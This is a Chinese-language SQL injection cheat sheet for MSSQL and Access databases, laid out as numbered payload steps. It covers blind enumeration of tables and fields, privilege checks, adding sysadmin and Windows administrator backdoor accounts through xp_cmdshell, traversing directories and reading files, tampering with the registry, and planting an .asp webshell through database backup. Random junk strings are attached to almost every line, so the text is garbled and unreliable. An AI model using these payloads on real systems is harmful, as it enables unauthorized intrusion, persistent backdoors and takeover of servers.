1.判断是否有注入;and 1=1 ;and 1=2 &=F-moDD
2.初步判断是否是mssql ;and user>0 AW,v
V;h=8C 5J
3.注入参数是字符'and [查询条件] and ''=' e/"yGQu
qj~flw1:
4.搜索时没过滤参数的'and [查询条件] and '%25'=' mF[o*N*
lZ|L2Yg3uB
5.判断数据库系统 ||-nmOy
NJ;"jQ-
;and (select count(*) from sysobjects)>0 mssql 8
uDerJ!
jd%Len&p
;and (select count(*) from msysobjects)>0 access @4IW=V
up\oWR:
[>W"R1/
7d&DrI@~
6.猜数据库 ;and (select Count(*) from [数据库名])>0 1R0ffP]
r\$6'+Si
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 _iG2J&1'L
A6Ghj{~
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 =N YgGEFq.
/y}"M
9.(1)猜字段的ascii值(access) T>}0) s
Bk?8zYp
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 T
n"e
,:D=gQ@`
(2)猜字段的ascii值(mssql) {Ge+O<mD
z]^+^c_
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 D
Irgq|8
HXQ e\r
10.测试权限结构(mssql) `I5O4|K)
Tbv/wJ
s|Z:}W?{
`W@T'T"
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ?b||Cr
=43I1&_
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0cHfxy3
s}6+8 fE"
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ze`1fO|%
6iG(C.b
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;Vg^!]LL#
1EVfowIl
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- \)ip>{WG
=96G8hlT
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- #
;K,,ku
x
C:]s;0$3'9
;and 1=(select IS_MEMBER('db_owner'));-- 8wr8:(Y$
EXuLSzQwv
MkwU<ae AB
D^Te%qnW
11.添加mssql和系统的帐户 b"I~_CL|
LO)GTyzvJ
;exec master.dbo.sp_addlogin username;-- {Fbg]'FQ
;exec master.dbo.sp_password null,username,password;-- 8zY)J #
.*BA 1sjE
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- #~L!pKM
B$rTwR"(-
;exec master.dbo.xp_cmdshell 'net user username password s f(iE(o
PgMbMH
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- z~,mRgc$B
|6aJwe+*
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 3UdU"d[75
v:E;^$6Vn
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Yu'a<5f
L>dkrr)e
r'/\HWNP
Hkdf $$\
12.(1)遍历目录 B`fH^N
6^)rv-L~5y
;create table dirs(paths varchar(100), id int) 5F2_xH$5
*ZaaO^!
;insert dirs exec master.dbo.xp_dirtree 'c:\' W{
fZ[z
@}Zd (o
;and (select top 1 paths from dirs)>0 %}P4kEY
H+ lX-,
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) J!{Al
',7a E@PJ
F@Q^?WV
WmeKl
(2)遍历目录 *m9{V8Yi2
LN4qYp6)G
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 4S|=/f
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 XVt/qb%)r
e+. \pe\
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 l4rMk^>>
ad9CsvW
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4WC9US-k
C-m*?))go
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 u)a'
,>n%
~'gb
re^Hc(8M
>c4/?YV
13.mssql中的存储过程 v?%LQKO
yhpz5[AuO
xp_regenumvalues 注册表根键, 子键 rEdY>\'
/.Fj.6U5
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 _%~$'Hy
54{q.I@n
xp_regread 根键,子键,键值名 +`B'r
'
$IVwA
;exec xp_regread "X04mQn15
|t))u`~
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 *RWm47
|S&5es-yW
xp_regwrite 根键,子键, 值名, 值类型, 值 K B!5u 9
[84F09HU
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 PFM'&;V
(&[[46
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 + H_MV=A^
"7,FXTaer
xp_regdeletevalue 根键,子键,值名 d--'Rn5
pu+ur=5&
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 JN4fPGbV
Tde0 ~j}
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ]E3<UR
.$!{-v[
eS'yGY0b
$bvJTuw
14.mssql的backup创建webshell ,lt8O.h-l
t9^A(Vh"-
use model FY'ty@|_s
2 rN ,D(
create table cmd(str image); "B{ECM;
AVl~{k|
insert into cmd(str) values (''); Wh(
|+rJ?Z
x[Im%k
backup database model to disk='c:\l.asp'; o31Nmy
Ni
\K
iwUz
H={&3poBz
;apzAF
15.mssql内置函数 ?kTWpXx"=
$s\UL}Gc
;and (select @@version)>0 获得Windows的版本号 ;@3FF
e5?PkFV^a1
;and user_name()='dbo' 判断当前系统的连接用户是不是sa a.@qGsIH
~Rpm-^
;and (select user_name())>0 爆当前系统的连接用户 ~+G#n"P n
WC,+Cn e
;and (select db_name())>0 得到当前连接的数据库
?wb+L
X^@I].
17|np2~
vUA0FoOp
16.简洁的webshell Sv'y e
5D Y\:AF
use model W_`A"WdT.
l@JSK;
create table cmd(str image); ]Mi.f3QlO6
h3*
x[W
insert into cmd(str) values (''); \4d.sy0&>-
.8WXC
backup database model to disk='g:\wwwtest\l.asp';